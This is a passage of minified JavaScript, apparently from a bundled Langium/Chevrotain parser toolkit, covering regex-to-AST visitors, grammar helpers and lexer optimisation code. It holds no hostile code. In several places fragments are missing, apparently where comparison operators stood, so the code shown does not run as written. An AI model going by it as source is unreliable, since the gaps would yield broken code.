e=[],r=!1;for(this.consumeChar("["),this.peekChar(0)==="^"&&(this.consumeChar("^"),r=!0);this.isClassAtom();){let n=this.classAtom(),i=n.type==="Character";if(yO(n)&&this.isRangeDash()){this.consumeChar("-");let a=this.classAtom(),s=a.type==="Character";if(yO(a)){if(a.value=this.input.length)throw Error("Unexpected end of input");this.idx++}loc(e){return{begin:e,end:this.idx}}}});var Wc,$fe=N(()=>{"use strict";Wc=class{static{o(this,"BaseRegExpVisitor")}visitChildren(e){for(let r in e){let n=e[r];e.hasOwnProperty(r)&&(n.type!==void 0?this.visit(n):Array.isArray(n)&&n.forEach(i=>{this.visit(i)},this))}}visit(e){switch(e.type){case"Pattern":this.visitPattern(e);break;case"Flags":this.visitFlags(e);break;case"Disjunction":this.visitDisjunction(e);break;case"Alternative":this.visitAlternative(e);break;case"StartAnchor":this.visitStartAnchor(e);break;case"EndAnchor":this.visitEndAnchor(e);break;case"WordBoundary":this.visitWordBoundary(e);break;case"NonWordBoundary":this.visitNonWordBoundary(e);break;case"Lookahead":this.visitLookahead(e);break;case"NegativeLookahead":this.visitNegativeLookahead(e);break;case"Character":this.visitCharacter(e);break;case"Set":this.visitSet(e);break;case"Group":this.visitGroup(e);break;case"GroupBackReference":this.visitGroupBackReference(e);break;case"Quantifier":this.visitQuantifier(e);break}this.visitChildren(e)}visitPattern(e){}visitFlags(e){}visitDisjunction(e){}visitAlternative(e){}visitStartAnchor(e){}visitEndAnchor(e){}visitWordBoundary(e){}visitNonWordBoundary(e){}visitLookahead(e){}visitNegativeLookahead(e){}visitCharacter(e){}visitSet(e){}visitGroup(e){}visitGroupBackReference(e){}visitQuantifier(e){}}});var Wx=N(()=>{"use strict";Ffe();$fe()});var HE={};dr(HE,{NEWLINE_REGEXP:()=>TO,escapeRegExp:()=>Fp,getCaseInsensitivePattern:()=>kO,getTerminalParts:()=>GWe,isMultilineComment:()=>wO,isWhitespace:()=>o1,partialMatches:()=>EO,partialRegExp:()=>Vfe,whitespaceCharacters:()=>Gfe});function GWe(t){try{typeof t!="string"&&(t=t.source),t=`/${t}/`;let e=zfe.pattern(t),r=[];for(let n of e.value.value)Bp.reset(t),Bp.visit(n),r.push({start:Bp.startRegexp,end:Bp.endRegex});return r}catch{return[]}}function wO(t){try{return typeof t=="string"&&(t=new RegExp(t)),t=t.toString(),Bp.reset(t),Bp.visit(zfe.pattern(t)),Bp.multiline}catch{return!1}}function o1(t){let e=typeof t=="string"?new RegExp(t):t;return Gfe.some(r=>e.test(r))}function Fp(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function kO(t){return Array.prototype.map.call(t,e=>/\w/.test(e)?`[${e.toLowerCase()}${e.toUpperCase()}]`:Fp(e)).join("")}function EO(t,e){let r=Vfe(t),n=e.match(r);return!!n&&n[0].length>0}function Vfe(t){typeof t=="string"&&(t=new RegExp(t));let e=t,r=t.source,n=0;function i(){let a="",s;function l(h){a+=r.substr(n,h),n+=h}o(l,"appendRaw");function u(h){a+="(?:"+r.substr(n,h)+"|$)",n+=h}for(o(u,"appendOptional");n",n)-n+1);break;default:u(2);break}break;case"[":s=/\[(?:\\.|.)*?\]/g,s.lastIndex=n,s=s.exec(r)||[],u(s[0].length);break;case"|":case"^":case"$":case"*":case"+":case"?":l(1);break;case"{":s=/\{\d+,?\d*\}/g,s.lastIndex=n,s=s.exec(r),s?l(s[0].length):u(1);break;case"(":if(r[n+1]==="?")switch(r[n+2]){case":":a+="(?:",n+=3,a+=i()+"|$)";break;case"=":a+="(?=",n+=3,a+=i()+")";break;case"!":s=n,n+=3,i(),a+=r.substr(s,n-s);break;case"<":switch(r[n+3]){case"=":case"!":s=n,n+=4,i(),a+=r.substr(s,n-s);break;default:l(r.indexOf(">",n)-n+1),a+=i()+"|$)";break}break}else l(1),a+=i()+"|$)";break;case")":return++n,a;default:u(1);break}return a}return o(i,"process"),new RegExp(i(),t.flags)}var TO,zfe,bO,Bp,Gfe,l1=N(()=>{"use strict";Wx();TO=/\r?\n/gm,zfe=new Pp,bO=class extends Wc{static{o(this,"TerminalRegExpVisitor")}constructor(){super(...arguments),this.isStarting=!0,this.endRegexpStack=[],this.multiline=!1}get endRegex(){return this.endRegexpStack.join("")}reset(e){this.multiline=!1,this.regex=e,this.startRegexp="",this.isStarting=!0,this.endRegexpStack=[]}visitGroup(e){e.quantifier&&(this.isStarting=!1,this.endRegexpStack=[])}visitCharacter(e){let r=String.fromCharCode(e.value);if(!this.multiline&&r===` +`&&(this.multiline=!0),e.quantifier)this.isStarting=!1,this.endRegexpStack=[];else{let n=Fp(r);this.endRegexpStack.push(n),this.isStarting&&(this.startRegexp+=n)}}visitSet(e){if(!this.multiline){let r=this.regex.substring(e.loc.begin,e.loc.end),n=new RegExp(r);this.multiline=!!` +`.match(n)}if(e.quantifier)this.isStarting=!1,this.endRegexpStack=[];else{let r=this.regex.substring(e.loc.begin,e.loc.end);this.endRegexpStack.push(r),this.isStarting&&(this.startRegexp+=r)}}visitChildren(e){e.type==="Group"&&e.quantifier||super.visitChildren(e)}},Bp=new bO;o(GWe,"getTerminalParts");o(wO,"isMultilineComment");Gfe=`\f +\r \v \xA0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u2028\u2029\u202F\u205F\u3000\uFEFF`.split("");o(o1,"isWhitespace");o(Fp,"escapeRegExp");o(kO,"getCaseInsensitivePattern");o(EO,"partialMatches");o(Vfe,"partialRegExp")});var WE={};dr(WE,{findAssignment:()=>MO,findNameAssignment:()=>qE,findNodeForKeyword:()=>RO,findNodeForProperty:()=>Xx,findNodesForKeyword:()=>VWe,findNodesForKeywordInternal:()=>NO,findNodesForProperty:()=>DO,getActionAtElement:()=>Yfe,getActionType:()=>jfe,getAllReachableRules:()=>Yx,getCrossReferenceTerminal:()=>AO,getEntryRule:()=>Ufe,getExplicitRuleType:()=>c1,getHiddenRules:()=>Hfe,getRuleType:()=>IO,getRuleTypeName:()=>YWe,getTypeName:()=>Kx,isArrayCardinality:()=>HWe,isArrayOperator:()=>qWe,isCommentTerminal:()=>_O,isDataType:()=>WWe,isDataTypeRule:()=>jx,isOptionalCardinality:()=>UWe,terminalRegex:()=>u1});function Ufe(t){return t.rules.find(e=>Ga(e)&&e.entry)}function Hfe(t){return t.rules.filter(e=>mo(e)&&e.hidden)}function Yx(t,e){let r=new Set,n=Ufe(t);if(!n)return new Set(t.rules);let i=[n].concat(Hfe(t));for(let s of i)qfe(s,r,e);let a=new Set;for(let s of t.rules)(r.has(s.name)||mo(s)&&s.hidden)&&a.add(s);return a}function qfe(t,e,r){e.add(t.name),qc(t).forEach(n=>{if($l(n)||r&&FE(n)){let i=n.rule.ref;i&&!e.has(i.name)&&qfe(i,e,r)}})}function AO(t){if(t.terminal)return t.terminal;if(t.type.ref){let e=qE(t.type.ref);return e?.terminal}}function _O(t){return t.hidden&&!o1(u1(t))}function DO(t,e){return!t||!e?[]:LO(t,e,t.astNode,!0)}function Xx(t,e,r){if(!t||!e)return;let n=LO(t,e,t.astNode,!0);if(n.length!==0)return r!==void 0?r=Math.max(0,Math.min(r,n.length-1)):r=0,n[r]}function LO(t,e,r,n){if(!n){let i=Ip(t.grammarSource,Fl);if(i&&i.feature===e)return[t]}return Ol(t)&&t.astNode===r?t.content.flatMap(i=>LO(i,e,r,!1)):[]}function VWe(t,e){return t?NO(t,e,t?.astNode):[]}function RO(t,e,r){if(!t)return;let n=NO(t,e,t?.astNode);if(n.length!==0)return r!==void 0?r=Math.max(0,Math.min(r,n.length-1)):r=0,n[r]}function NO(t,e,r){if(t.astNode!==r)return[];if(Zo(t.grammarSource)&&t.grammarSource.value===e)return[t];let n=Dp(t).iterator(),i,a=[];do if(i=n.next(),!i.done){let s=i.value;s.astNode===r?Zo(s.grammarSource)&&s.grammarSource.value===e&&a.push(s):n.prune()}while(!i.done);return a}function MO(t){var e;let r=t.astNode;for(;r===((e=t.container)===null||e===void 0?void 0:e.astNode);){let n=Ip(t.grammarSource,Fl);if(n)return n;t=t.container}}function qE(t){let e=t;return IE(e)&&(qu(e.$container)?e=e.$container.$container:Ga(e.$container)?e=e.$container:Uc(e.$container)),Wfe(t,e,new Map)}function Wfe(t,e,r){var n;function i(a,s){let l;return Ip(a,Fl)||(l=Wfe(s,s,r)),r.set(t,l),l}if(o(i,"go"),r.has(t))return r.get(t);r.set(t,void 0);for(let a of qc(e)){if(Fl(a)&&a.feature.toLowerCase()==="name")return r.set(t,a),a;if($l(a)&&Ga(a.rule.ref))return i(a,a.rule.ref);if(PE(a)&&(!((n=a.typeRef)===null||n===void 0)&&n.ref))return i(a,a.typeRef.ref)}}function Yfe(t){let e=t.$container;if(Of(e)){let r=e.elements,n=r.indexOf(t);for(let i=n-1;i>=0;i--){let a=r[i];if(qu(a))return a;{let s=qc(r[i]).find(qu);if(s)return s}}}if(Fx(e))return Yfe(e)}function UWe(t,e){return t==="?"||t==="*"||Of(e)&&!!e.guardCondition}function HWe(t){return t==="*"||t==="+"}function qWe(t){return t==="+="}function jx(t){return Xfe(t,new Set)}function Xfe(t,e){if(e.has(t))return!0;e.add(t);for(let r of qc(t))if($l(r)){if(!r.rule.ref||Ga(r.rule.ref)&&!Xfe(r.rule.ref,e))return!1}else{if(Fl(r))return!1;if(qu(r))return!1}return!!t.definition}function WWe(t){return CO(t.type,new Set)}function CO(t,e){if(e.has(t))return!0;if(e.add(t),QI(t))return!1;if(nO(t))return!1;if(aO(t))return t.types.every(r=>CO(r,e));if(PE(t)){if(t.primitiveType!==void 0)return!0;if(t.stringType!==void 0)return!0;if(t.typeRef!==void 0){let r=t.typeRef.ref;return $x(r)?CO(r.type,e):!1}else return!1}else return!1}function c1(t){if(t.inferredType)return t.inferredType.name;if(t.dataType)return t.dataType;if(t.returnType){let e=t.returnType.ref;if(e){if(Ga(e))return e.name;if(OE(e)||$x(e))return e.name}}}function Kx(t){var e;if(Ga(t))return jx(t)?t.name:(e=c1(t))!==null&&e!==void 0?e:t.name;if(OE(t)||$x(t)||iO(t))return t.name;if(qu(t)){let r=jfe(t);if(r)return r}else if(IE(t))return t.name;throw new Error("Cannot get name of Unknown Type")}function jfe(t){var e;if(t.inferredType)return t.inferredType.name;if(!((e=t.type)===null||e===void 0)&&e.ref)return Kx(t.type.ref)}function YWe(t){var e,r,n;return mo(t)?(r=(e=t.type)===null||e===void 0?void 0:e.name)!==null&&r!==void 0?r:"string":jx(t)?t.name:(n=c1(t))!==null&&n!==void 0?n:t.name}function IO(t){var e,r,n;return mo(t)?(r=(e=t.type)===null||e===void 0?void 0:e.name)!==null&&r!==void 0?r:"string":(n=c1(t))!==null&&n!==void 0?n:t.name}function u1(t){let e={s:!1,i:!1,u:!1},r=h1(t.definition,e),n=Object.entries(e).filter(([,i])=>i).map(([i])=>i).join("");return new RegExp(r,n)}function h1(t,e){if(uO(t))return XWe(t);if(hO(t))return jWe(t);if(sO(t))return ZWe(t);if(FE(t)){let r=t.rule.ref;if(!r)throw new Error("Missing rule reference.");return Wu(h1(r.definition),{cardinality:t.cardinality,lookahead:t.lookahead})}else{if(lO(t))return QWe(t);if(fO(t))return KWe(t);if(cO(t)){let r=t.regex.lastIndexOf("/"),n=t.regex.substring(1,r),i=t.regex.substring(r+1);return e&&(e.i=i.includes("i"),e.s=i.includes("s"),e.u=i.includes("u")),Wu(n,{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1})}else{if(dO(t))return Wu(OO,{cardinality:t.cardinality,lookahead:t.lookahead});throw new Error(`Invalid terminal element: ${t?.$type}`)}}}function XWe(t){return Wu(t.elements.map(e=>h1(e)).join("|"),{cardinality:t.cardinality,lookahead:t.lookahead})}function jWe(t){return Wu(t.elements.map(e=>h1(e)).join(""),{cardinality:t.cardinality,lookahead:t.lookahead})}function KWe(t){return Wu(`${OO}*?${h1(t.terminal)}`,{cardinality:t.cardinality,lookahead:t.lookahead})}function QWe(t){return Wu(`(?!${h1(t.terminal)})${OO}*?`,{cardinality:t.cardinality,lookahead:t.lookahead})}function ZWe(t){return t.right?Wu(`[${SO(t.left)}-${SO(t.right)}]`,{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1}):Wu(SO(t.left),{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1})}function SO(t){return Fp(t.value)}function Wu(t,e){var r;return(e.wrap!==!1||e.lookahead)&&(t=`(${(r=e.lookahead)!==null&&r!==void 0?r:""}${t})`),e.cardinality?`${t}${e.cardinality}`:t}var OO,zl=N(()=>{"use strict";NE();Hc();Pl();hs();Bl();l1();o(Ufe,"getEntryRule");o(Hfe,"getHiddenRules");o(Yx,"getAllReachableRules");o(qfe,"ruleDfs");o(AO,"getCrossReferenceTerminal");o(_O,"isCommentTerminal");o(DO,"findNodesForProperty");o(Xx,"findNodeForProperty");o(LO,"findNodesForPropertyInternal");o(VWe,"findNodesForKeyword");o(RO,"findNodeForKeyword");o(NO,"findNodesForKeywordInternal");o(MO,"findAssignment");o(qE,"findNameAssignment");o(Wfe,"findNameAssignmentInternal");o(Yfe,"getActionAtElement");o(UWe,"isOptionalCardinality");o(HWe,"isArrayCardinality");o(qWe,"isArrayOperator");o(jx,"isDataTypeRule");o(Xfe,"isDataTypeRuleInternal");o(WWe,"isDataType");o(CO,"isDataTypeInternal");o(c1,"getExplicitRuleType");o(Kx,"getTypeName");o(jfe,"getActionType");o(YWe,"getRuleTypeName");o(IO,"getRuleType");o(u1,"terminalRegex");OO=/[\s\S]/.source;o(h1,"abstractElementToRegex");o(XWe,"terminalAlternativesToRegex");o(jWe,"terminalGroupToRegex");o(KWe,"untilTokenToRegex");o(QWe,"negateTokenToRegex");o(ZWe,"characterRangeToRegex");o(SO,"keywordToRegex");o(Wu,"withCardinality")});function PO(t){let e=[],r=t.Grammar;for(let n of r.rules)mo(n)&&_O(n)&&wO(u1(n))&&e.push(n.name);return{multilineCommentRules:e,nameRegexp:LE}}var BO=N(()=>{"use strict";Bl();zl();l1();Hc();o(PO,"createGrammarConfig")});var FO=N(()=>{"use strict"});function f1(t){console&&console.error&&console.error(`Error: ${t}`)}function Qx(t){console&&console.warn&&console.warn(`Warning: ${t}`)}var Kfe=N(()=>{"use strict";o(f1,"PRINT_ERROR");o(Qx,"PRINT_WARNING")});function Zx(t){let e=new Date().getTime(),r=t();return{time:new Date().getTime()-e,value:r}}var Qfe=N(()=>{"use strict";o(Zx,"timer")});function Jx(t){function e(){}o(e,"FakeConstructor"),e.prototype=t;let r=new e;function n(){return typeof r.bar}return o(n,"fakeAccess"),n(),n(),t;(0,eval)(t)}var Zfe=N(()=>{"use strict";o(Jx,"toFastProperties")});var d1=N(()=>{"use strict";Kfe();Qfe();Zfe()});function JWe(t){return eYe(t)?t.LABEL:t.name}function eYe(t){return xi(t.LABEL)&&t.LABEL!==""}function YE(t){return rt(t,p1)}function p1(t){function e(r){return rt(r,p1)}if(o(e,"convertDefinition"),t instanceof fn){let r={type:"NonTerminal",name:t.nonTerminalName,idx:t.idx};return xi(t.label)&&(r.label=t.label),r}else{if(t instanceof Pn)return{type:"Alternative",definition:e(t.definition)};if(t instanceof dn)return{type:"Option",idx:t.idx,definition:e(t.definition)};if(t instanceof Bn)return{type:"RepetitionMandatory",idx:t.idx,definition:e(t.definition)};if(t instanceof Fn)return{type:"RepetitionMandatoryWithSeparator",idx:t.idx,separator:p1(new Ar({terminalType:t.separator})),definition:e(t.definition)};if(t instanceof _n)return{type:"RepetitionWithSeparator",idx:t.idx,separator:p1(new Ar({terminalType:t.separator})),definition:e(t.definition)};if(t instanceof zr)return{type:"Repetition",idx:t.idx,definition:e(t.definition)};if(t instanceof Dn)return{type:"Alternation",idx:t.idx,definition:e(t.definition)};if(t instanceof Ar){let r={type:"Terminal",name:t.terminalType.name,label:JWe(t.terminalType),idx:t.idx};xi(t.label)&&(r.terminalLabel=t.label);let n=t.terminalType.PATTERN;return t.terminalType.PATTERN&&(r.pattern=Uo(n)?n.source:n),r}else{if(t instanceof fs)return{type:"Rule",name:t.name,orgText:t.orgText,definition:e(t.definition)};throw Error("non exhaustive match")}}}var go,fn,fs,Pn,dn,Bn,Fn,zr,_n,Dn,Ar,XE=N(()=>{"use strict";Yt();o(JWe,"tokenLabel");o(eYe,"hasTokenLabel");go=class{static{o(this,"AbstractProduction")}get definition(){return this._definition}set definition(e){this._definition=e}constructor(e){this._definition=e}accept(e){e.visit(this),Ae(this.definition,r=>{r.accept(e)})}},fn=class extends go{static{o(this,"NonTerminal")}constructor(e){super([]),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}set definition(e){}get definition(){return this.referencedRule!==void 0?this.referencedRule.definition:[]}accept(e){e.visit(this)}},fs=class extends go{static{o(this,"Rule")}constructor(e){super(e.definition),this.orgText="",pa(this,Vs(e,r=>r!==void 0))}},Pn=class extends go{static{o(this,"Alternative")}constructor(e){super(e.definition),this.ignoreAmbiguities=!1,pa(this,Vs(e,r=>r!==void 0))}},dn=class extends go{static{o(this,"Option")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Bn=class extends go{static{o(this,"RepetitionMandatory")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Fn=class extends go{static{o(this,"RepetitionMandatoryWithSeparator")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},zr=class extends go{static{o(this,"Repetition")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},_n=class extends go{static{o(this,"RepetitionWithSeparator")}constructor(e){super(e.definition),this.idx=1,pa(this,Vs(e,r=>r!==void 0))}},Dn=class extends go{static{o(this,"Alternation")}get definition(){return this._definition}set definition(e){this._definition=e}constructor(e){super(e.definition),this.idx=1,this.ignoreAmbiguities=!1,this.hasPredicates=!1,pa(this,Vs(e,r=>r!==void 0))}},Ar=class{static{o(this,"Terminal")}constructor(e){this.idx=1,pa(this,Vs(e,r=>r!==void 0))}accept(e){e.visit(this)}};o(YE,"serializeGrammar");o(p1,"serializeProduction")});var ds,Jfe=N(()=>{"use strict";XE();ds=class{static{o(this,"GAstVisitor")}visit(e){let r=e;switch(r.constructor){case fn:return this.visitNonTerminal(r);case Pn:return this.visitAlternative(r);case dn:return this.visitOption(r);case Bn:return this.visitRepetitionMandatory(r);case Fn:return this.visitRepetitionMandatoryWithSeparator(r);case _n:return this.visitRepetitionWithSeparator(r);case zr:return this.visitRepetition(r);case Dn:return this.visitAlternation(r);case Ar:return this.visitTerminal(r);case fs:return this.visitRule(r);default:throw Error("non exhaustive match")}}visitNonTerminal(e){}visitAlternative(e){}visitOption(e){}visitRepetition(e){}visitRepetitionMandatory(e){}visitRepetitionMandatoryWithSeparator(e){}visitRepetitionWithSeparator(e){}visitAlternation(e){}visitTerminal(e){}visitRule(e){}}});function $O(t){return t instanceof Pn||t instanceof dn||t instanceof zr||t instanceof Bn||t instanceof Fn||t instanceof _n||t instanceof Ar||t instanceof fs}function $p(t,e=[]){return t instanceof dn||t instanceof zr||t instanceof _n?!0:t instanceof Dn?z2(t.definition,n=>$p(n,e)):t instanceof fn&&jn(e,t)?!1:t instanceof go?(t instanceof fn&&e.push(t),Pa(t.definition,n=>$p(n,e))):!1}function zO(t){return t instanceof Dn}function Xs(t){if(t instanceof fn)return"SUBRULE";if(t instanceof dn)return"OPTION";if(t instanceof Dn)return"OR";if(t instanceof Bn)return"AT_LEAST_ONE";if(t instanceof Fn)return"AT_LEAST_ONE_SEP";if(t instanceof _n)return"MANY_SEP";if(t instanceof zr)return"MANY";if(t instanceof Ar)return"CONSUME";throw Error("non exhaustive match")}var ede=N(()=>{"use strict";Yt();XE();o($O,"isSequenceProd");o($p,"isOptionalProd");o(zO,"isBranchingProd");o(Xs,"getProductionDslName")});var ps=N(()=>{"use strict";XE();Jfe();ede()});function tde(t,e,r){return[new dn({definition:[new Ar({terminalType:t.separator})].concat(t.definition)})].concat(e,r)}var Yu,jE=N(()=>{"use strict";Yt();ps();Yu=class{static{o(this,"RestWalker")}walk(e,r=[]){Ae(e.definition,(n,i)=>{let a=yi(e.definition,i+1);if(n instanceof fn)this.walkProdRef(n,a,r);else if(n instanceof Ar)this.walkTerminal(n,a,r);else if(n instanceof Pn)this.walkFlat(n,a,r);else if(n instanceof dn)this.walkOption(n,a,r);else if(n instanceof Bn)this.walkAtLeastOne(n,a,r);else if(n instanceof Fn)this.walkAtLeastOneSep(n,a,r);else if(n instanceof _n)this.walkManySep(n,a,r);else if(n instanceof zr)this.walkMany(n,a,r);else if(n instanceof Dn)this.walkOr(n,a,r);else throw Error("non exhaustive match")})}walkTerminal(e,r,n){}walkProdRef(e,r,n){}walkFlat(e,r,n){let i=r.concat(n);this.walk(e,i)}walkOption(e,r,n){let i=r.concat(n);this.walk(e,i)}walkAtLeastOne(e,r,n){let i=[new dn({definition:e.definition})].concat(r,n);this.walk(e,i)}walkAtLeastOneSep(e,r,n){let i=tde(e,r,n);this.walk(e,i)}walkMany(e,r,n){let i=[new dn({definition:e.definition})].concat(r,n);this.walk(e,i)}walkManySep(e,r,n){let i=tde(e,r,n);this.walk(e,i)}walkOr(e,r,n){let i=r.concat(n);Ae(e.definition,a=>{let s=new Pn({definition:[a]});this.walk(s,i)})}};o(tde,"restForRepetitionWithSeparator")});function zp(t){if(t instanceof fn)return zp(t.referencedRule);if(t instanceof Ar)return nYe(t);if($O(t))return tYe(t);if(zO(t))return rYe(t);throw Error("non exhaustive match")}function tYe(t){let e=[],r=t.definition,n=0,i=r.length>n,a,s=!0;for(;i&&s;)a=r[n],s=$p(a),e=e.concat(zp(a)),n=n+1,i=r.length>n;return qm(e)}function rYe(t){let e=rt(t.definition,r=>zp(r));return qm(Qr(e))}function nYe(t){return[t.terminalType]}var GO=N(()=>{"use strict";Yt();ps();o(zp,"first");o(tYe,"firstForSequence");o(rYe,"firstForBranching");o(nYe,"firstForTerminal")});var KE,VO=N(()=>{"use strict";KE="_~IN~_"});function rde(t){let e={};return Ae(t,r=>{let n=new UO(r).startWalking();pa(e,n)}),e}function iYe(t,e){return t.name+e+KE}var UO,nde=N(()=>{"use strict";jE();GO();Yt();VO();ps();UO=class extends Yu{static{o(this,"ResyncFollowsWalker")}constructor(e){super(),this.topProd=e,this.follows={}}startWalking(){return this.walk(this.topProd),this.follows}walkTerminal(e,r,n){}walkProdRef(e,r,n){let i=iYe(e.referencedRule,e.idx)+this.topProd.name,a=r.concat(n),s=new Pn({definition:a}),l=zp(s);this.follows[i]=l}};o(rde,"computeAllProdsFollows");o(iYe,"buildBetweenProdsFollowPrefix")});function m1(t){let e=t.toString();if(QE.hasOwnProperty(e))return QE[e];{let r=aYe.pattern(e);return QE[e]=r,r}}function ide(){QE={}}var QE,aYe,ZE=N(()=>{"use strict";Wx();QE={},aYe=new Pp;o(m1,"getRegExpAst");o(ide,"clearRegExpParserCache")});function ode(t,e=!1){try{let r=m1(t);return HO(r.value,{},r.flags.ignoreCase)}catch(r){if(r.message===sde)e&&Qx(`${eb} Unable to optimize: < ${t.toString()} > + Complement Sets cannot be automatically optimized. + This will disable the lexer's first char optimizations. + See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#COMPLEMENT for details.`);else{let n="";e&&(n=` + This will disable the lexer's first char optimizations. + See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#REGEXP_PARSING for details.`),f1(`${eb} + Failed parsing: < ${t.toString()} > + Using the @chevrotain/regexp-to-ast library + Please open an issue at: https://github.com/chevrotain/chevrotain/issues`+n)}}return[]}function HO(t,e,r){switch(t.type){case"Disjunction":for(let i=0;i{if(typeof u=="number")JE(u,e,r);else{let h=u;if(r===!0)for(let f=h.from;f<=h.to;f++)JE(f,e,r);else{for(let f=h.from;f<=h.to&&f=g1){let f=h.from>=g1?h.from:g1,d=h.to,p=Yc(f),m=Yc(d);for(let g=p;g<=m;g++)e[g]=g}}}});break;case"Group":HO(s.value,e,r);break;default:throw Error("Non Exhaustive Match")}let l=s.quantifier!==void 0&&s.quantifier.atLeast===0;if(s.type==="Group"&&qO(s)===!1||s.type!=="Group"&&l===!1)break}break;default:throw Error("non exhaustive match!")}return kr(e)}function JE(t,e,r){let n=Yc(t);e[n]=n,r===!0&&sYe(t,e)}function sYe(t,e){let r=String.fromCharCode(t),n=r.toUpperCase();if(n!==r){let i=Yc(n.charCodeAt(0));e[i]=i}else{let i=r.toLowerCase();if(i!==r){let a=Yc(i.charCodeAt(0));e[a]=a}}}function ade(t,e){return os(t.value,r=>{if(typeof r=="number")return jn(e,r);{let n=r;return os(e,i=>n.from<=i&&i<=n.to)!==void 0}})}function qO(t){let e=t.quantifier;return e&&e.atLeast===0?!0:t.value?Bt(t.value)?Pa(t.value,qO):qO(t.value):!1}function eS(t,e){if(e instanceof RegExp){let r=m1(e),n=new WO(t);return n.visit(r),n.found}else return os(e,r=>jn(t,r.charCodeAt(0)))!==void 0}var sde,eb,WO,lde=N(()=>{"use strict";Wx();Yt();d1();ZE();YO();sde="Complement Sets are not supported for first char optimization",eb=`Unable to use "first char" lexer optimizations: +`;o(ode,"getOptimizedStartCodesIndices");o(HO,"firstCharOptimizedIndices");o(JE,"addOptimizedIdxToResult");o(sYe,"handleIgnoreCase");o(ade,"findCode");o(qO,"isWholeOptional");WO=class extends Wc{static{o(this,"CharCodeFinder")}constructor(e){super(),this.targetCharCodes=e,this.found=!1}visitChildren(e){if(this.found!==!0){switch(e.type){case"Lookahead":this.visitLookahead(e);return;case"NegativeLookahead":this.visitNegativeLookahead(e);return}super.visitChildren(e)}}visitCharacter(e){jn(this.targetCharCodes,e.value)&&(this.found=!0)}visitSet(e){e.complement?ade(e,this.targetCharCodes)===void 0&&(this.found=!0):ade(e,this.targetCharCodes)!==void 0&&(this.found=!0)}};o(eS,"canMatchCharCode")});function hde(t,e){e=of(e,{useSticky:jO,debug:!1,safeMode:!1,positionTracking:"full",lineTerminatorCharacters:["\r",` +`],tracer:o((b,T)=>T(),"tracer")});let r=e.tracer;r("initCharCodeToOptimizedIndexMap",()=>{EYe()});let n;r("Reject Lexer.NA",()=>{n=cf(t,b=>b[Gp]===Zn.NA)});let i=!1,a;r("Transform Patterns",()=>{i=!1,a=rt(n,b=>{let T=b[Gp];if(Uo(T)){let S=T.source;return S.length===1&&S!=="^"&&S!=="$"&&S!=="."&&!T.ignoreCase?S:S.length===2&&S[0]==="\\"&&!jn(["d","D","s","S","t","r","n","t","0","c","b","B","f","v","w","W"],S[1])?S[1]:e.useSticky?ude(T):cde(T)}else{if(Si(T))return i=!0,{exec:T};if(typeof T=="object")return i=!0,T;if(typeof T=="string"){if(T.length===1)return T;{let S=T.replace(/[\\^$.*+?()[\]{}|]/g,"\\$&"),w=new RegExp(S);return e.useSticky?ude(w):cde(w)}}else throw Error("non exhaustive match")}})});let s,l,u,h,f;r("misc mapping",()=>{s=rt(n,b=>b.tokenTypeIdx),l=rt(n,b=>{let T=b.GROUP;if(T!==Zn.SKIPPED){if(xi(T))return T;if(xr(T))return!1;throw Error("non exhaustive match")}}),u=rt(n,b=>{let T=b.LONGER_ALT;if(T)return Bt(T)?rt(T,w=>ck(n,w)):[ck(n,T)]}),h=rt(n,b=>b.PUSH_MODE),f=rt(n,b=>Ft(b,"POP_MODE"))});let d;r("Line Terminator Handling",()=>{let b=xde(e.lineTerminatorCharacters);d=rt(n,T=>!1),e.positionTracking!=="onlyOffset"&&(d=rt(n,T=>Ft(T,"LINE_BREAKS")?!!T.LINE_BREAKS:vde(T,b)===!1&&eS(b,T.PATTERN)))});let p,m,g,y;r("Misc Mapping #2",()=>{p=rt(n,gde),m=rt(a,wYe),g=Jr(n,(b,T)=>{let S=T.GROUP;return xi(S)&&S!==Zn.SKIPPED&&(b[S]=[]),b},{}),y=rt(a,(b,T)=>({pattern:a[T],longerAlt:u[T],canLineTerminator:d[T],isCustom:p[T],short:m[T],group:l[T],push:h[T],pop:f[T],tokenTypeIdx:s[T],tokenType:n[T]}))});let v=!0,x=[];return e.safeMode||r("First Char Optimization",()=>{x=Jr(n,(b,T,S)=>{if(typeof T.PATTERN=="string"){let w=T.PATTERN.charCodeAt(0),k=Yc(w);XO(b,k,y[S])}else if(Bt(T.START_CHARS_HINT)){let w;Ae(T.START_CHARS_HINT,k=>{let A=typeof k=="string"?k.charCodeAt(0):k,C=Yc(A);w!==C&&(w=C,XO(b,C,y[S]))})}else if(Uo(T.PATTERN))if(T.PATTERN.unicode)v=!1,e.ensureOptimizations&&f1(`${eb} Unable to analyze < ${T.PATTERN.toString()} > pattern. + The regexp unicode flag is not currently supported by the regexp-to-ast library. + This will disable the lexer's first char optimizations. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#UNICODE_OPTIMIZE`);else{let w=ode(T.PATTERN,e.ensureOptimizations);mr(w)&&(v=!1),Ae(w,k=>{XO(b,k,y[S])})}else e.ensureOptimizations&&f1(`${eb} TokenType: <${T.name}> is using a custom token pattern without providing parameter. + This will disable the lexer's first char optimizations. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#CUSTOM_OPTIMIZE`),v=!1;return b},[])}),{emptyGroups:g,patternIdxToConfig:y,charCodeToPatternIdxToConfig:x,hasCustom:i,canBeOptimized:v}}function fde(t,e){let r=[],n=lYe(t);r=r.concat(n.errors);let i=cYe(n.valid),a=i.valid;return r=r.concat(i.errors),r=r.concat(oYe(a)),r=r.concat(yYe(a)),r=r.concat(vYe(a,e)),r=r.concat(xYe(a)),r}function oYe(t){let e=[],r=Zr(t,n=>Uo(n[Gp]));return e=e.concat(hYe(r)),e=e.concat(pYe(r)),e=e.concat(mYe(r)),e=e.concat(gYe(r)),e=e.concat(fYe(r)),e}function lYe(t){let 